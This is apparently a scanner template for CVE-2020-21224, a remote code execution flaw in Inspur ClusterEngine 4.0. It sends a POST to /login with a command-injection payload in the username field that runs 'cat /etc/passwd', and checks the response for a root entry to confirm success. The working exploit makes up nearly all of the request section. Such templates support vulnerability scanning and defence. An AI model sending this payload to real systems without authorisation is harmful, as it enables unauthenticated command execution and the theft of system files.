id: CVE-2020-21224

info:
  name: Inspur ClusterEngine 4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.
  reference:
    - https://github.com/NS-Sp4ce/Inspur/tree/master/ClusterEngineV4.0%20Vul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21224
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21224
    cwe-id: CWE-88
  tags: cve,cve2020,clusterengine,rce

requests:
  - method: POST
    path:
      - "{{BaseURL}}/login"
    headers:
      Content-Type: application/x-www-form-urlencoded
      Referer: "{{Hostname}}/module/login/login.html"

    body: |
      op=login&username=;`cat /etc/passwd`&password=

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/04/28